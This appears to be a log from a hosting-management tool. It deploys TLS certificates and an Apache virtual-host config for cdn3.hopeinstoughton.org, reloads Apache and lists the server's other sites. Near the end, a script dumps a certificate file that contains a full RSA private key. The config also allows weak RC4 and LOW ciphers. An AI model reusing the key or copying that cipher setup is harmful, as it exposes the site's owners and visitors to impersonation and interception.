LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-20 06:00:17: 

chmod 755 /tmp/pkp431453; /tmp/pkp431453; rm /tmp/pkp431453

2026-07-20 06:00:17: 


dir=/etc/ssl/certs


2026-07-20 06:00:17: 

PUT: /tmp/pkp323246

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-20 06:00:17: 

chmod 755 /tmp/pkp323246; /tmp/pkp323246; rm /tmp/pkp323246

2026-07-20 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf 48

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-07-20 06:00:17: 

PUT: /tmp/pkp872322

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf= 1'
fi


2026-07-20 06:00:18: 

chmod 755 /tmp/pkp872322; /tmp/pkp872322; rm /tmp/pkp872322

2026-07-20 06:00:18: 




2026-07-20 06:00:18: 

PUT: /tmp/pkp746158

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-20 06:00:18: 

chmod 755 /tmp/pkp746158; /tmp/pkp746158; rm /tmp/pkp746158

2026-07-20 06:00:19: 


.


2026-07-20 06:00:19: Establishing a connection
2026-07-20 06:00:20: 

PUT: /tmp/pkp901048

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-20 06:00:21: 

chmod 755 /tmp/pkp901048; /tmp/pkp901048; rm /tmp/pkp901048

2026-07-20 06:00:21: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-07-20 06:00:21: 

PUT: /tmp/pkp185081

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-20 06:00:21: 

chmod 755 /tmp/pkp185081; /tmp/pkp185081; rm /tmp/pkp185081

2026-07-20 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-07-20 06:00:22: 

PUT: /tmp/pkp698040

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-20 06:00:22: 

chmod 755 /tmp/pkp698040; /tmp/pkp698040; rm /tmp/pkp698040

2026-07-20 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	7440
9c:56:20:1f:ee:ca:70:51:c0:c4:1c:97:26:05:d8:82

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBQEV0BwfwL2kyuqbvQdduI7OMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzIwMDUwMTQyWhcNMjYxMDE4MDUwMTQxWjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQD07xxwpem+IT1amf/gWZ7aM0veOVsnzGjBue7J9UBXH/vKf+va
4Z7BLWc3mKSbSWqhoV8uFbOgQCojRd/IR7u0f/gjwNyQ+YH4qWx3Kcf+RHEWWQ0y
Hxf5KUTPJ3gvuU4t4qwfWX2qDuAKYKB8tBkzZCwxd9/ssKZEYxvktLtzuXxLUHmv
m+WubVVdGUvb9wDFU/n0UTYK8c/f4f7IhRCAMJit3m2et3+6+RY72xeVCLXA/AVR
ln4KMciGBf9ibe84684qdrhQlEqvWJH43IlA4jKdQE8bDZjrRC3HgW7hnQH8mR49
28bdSWzo7Ahw/HA3cjSdb2of/mIWyayDfFZpAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUxKR4EuiqAbj2+fXbikPDnuH70lgwHwYDVR0jBBgwFoAUHy81vkYUgs1A
sa55LFV4+vfUaPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
eXIxLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3lyMS5jLmxlbmNyLm9yZy83OS5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7
APkAdgDLOPcViXyEoURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ9+HE+sAAAE
AwBHMEUCICYSYZJalohXUw67e3VZU8R03Be+3RhlxxSznySo69cqAiEA+J/1WcCb
T/YKGfcXWqiSSwvr15PDWtJeKJvv7wTgIKwAfwAai51rD/6/gbR5OcbSMQqG1tEC
1PBG4hgsneNfXiYl7wAAAZ9+HFAvAAgAAAUAK5ln+AQDAEgwRgIhAInkBu9WUbNv
KuwUJd0fA7dQ6RwJg6Qr2kP9VPK6WmFHAiEAvxsqu6SPN4vSRVvQL7ijP4bKbqEp
GAlaH4zq5XHjcUAwDQYJKoZIhvcNAQELBQADggEBAJwIE7hsnZCyUy2RJ7ZSRqyc
zIS+QO742pdXtq5r3turMn5y9hCcKw8jJC8kApgSKaM6/UXSjEUbX4Zp6xElZSWs
l1gOUn5TIqRZVVidJGjEgVAeQ5Hfno9Zt+KKHvlDQR5KGwywnnOcS4G8Fz75yvay
0hDM0Pi3wmWnwLmMajBNSwiN4riCC8CduSHA5T7CHomOB/DqyZ+1mlWDO3i5RpxB
NJfiEvHtbQN0R5vRliVa7U1sIHgBYvH+0Uv9Aslg8GdK+SWVQw6PTenOPYuPGCiK
rwL7tLpNRM56XpMVS8T95aFS6ZJ3Ko6bDmUxG49MOZ3Rin9yzxbqBF+fyrRigQ4=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD07xxwpem+IT1a
mf/gWZ7aM0veOVsnzGjBue7J9UBXH/vKf+va4Z7BLWc3mKSbSWqhoV8uFbOgQCoj
Rd/IR7u0f/gjwNyQ+YH4qWx3Kcf+RHEWWQ0yHxf5KUTPJ3gvuU4t4qwfWX2qDuAK
YKB8tBkzZCwxd9/ssKZEYxvktLtzuXxLUHmvm+WubVVdGUvb9wDFU/n0UTYK8c/f
4f7IhRCAMJit3m2et3+6+RY72xeVCLXA/AVRln4KMciGBf9ibe84684qdrhQlEqv
WJH43IlA4jKdQE8bDZjrRC3HgW7hnQH8mR4928bdSWzo7Ahw/HA3cjSdb2of/mIW
yayDfFZpAgMBAAECggEAAT+tVVExOoIMoCdAF9aZIdtoV/0Snwayo4c1RZQRpIgS
Fm+Vxh9HmgxHVhAaCb0jdSi/lZpweKEPHfArooekGDjdTOBdN4OAI0KI3igpP/19
Fpw0XiSssH1if4xf111yXbdFwaCpDHqIL6FbvBsGdF2+wG9QJdKmPFvFfwJhYMcH
IqhLKqCBacVRO5hw6shJCLQRryDk9IsysBki6SRpt2hc/QCKBYbn2POaA+cDm1u+
kKoWJBjmjmfIf40CCqxAQckJt/IUSNT5EaGXjYQ7IyM7+ib5rNnqChdnaX5+tEz6
AGCGsbgz88uf8ZsACciCWfFlap/588TH5rysycTasQKBgQD8RqQZAiLRGyw+Tdaz
tjpwnIanoCV2mLMaKQO34jE3hgou6MeTFmxwVfAoLLATK3RLEY8+EaAv4SFf2N6m
/3RJgaGX0zCxS6zKP6qlc/R+mxJKy2enc1RBZdFDtZMuJhDS+QjBAcNm8La0KOD7
vYwqWcqC/KC4daUYHkhEzrJc2QKBgQD4jLmJoiLCMNCmf3fVjtXkWiRGA6lu2myA
z//i5CoB6edIcsy1IWS6RDlSCu57XSXDJzdLd3pzFe/TA+s5mdH0ms+e12FvABwo
JmLLAurMBHAkDUL/tRBKlnGqpqQRk9reY8tOM6Z3GjKTB+pgefBQPvY9P5Wmdr2H
QF9KcVoMEQKBgQDmHnXvjgA+aB/6kTxI3+/86vr1iuLBhNbTBRisMrscX7uIQLRT
2n9+FRYlP2Y5hkjldRYJ00AgjKbJ7GRlRt5HcuT5Ph7LizEJp/u8QsKCfme4LETX
/R6dLQgvUED6NqTgHWQ70qTwkKDIRAW9/JAPzaopw9HDkSTQlEbt5PHUOQKBgDod
zZRdEPuPJnqH+6E30NOgMDMe0BNXh19nQ1HuP9RKuQW7shn4QPE82ppQbAr0cMv8
83T17u/SBU218N57FRi4yis9+U5XHD5XG2qUuAoUT5RedXgNAk4ud02LwXlKtTai
5vrWIOpgecrfYvJEEOjyj+kqYPeXdCGX77AcaQ3BAoGBAJJZRRA+5QJQl80TzdNo
HsZ8fSMTCktCfv4S9eTwGdiJQ52h5tBdmktZ/JL2HzglIey5bXsNSp5jKPdYKm6A
N7pHzwmJg/y0h/BrnYLYj+AYpe62I9itx9fuk8A89z9JNB84iHe8XI/wvWvdgEHX
3gK1Pp8pEJen/HbvV9YeaPPT
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

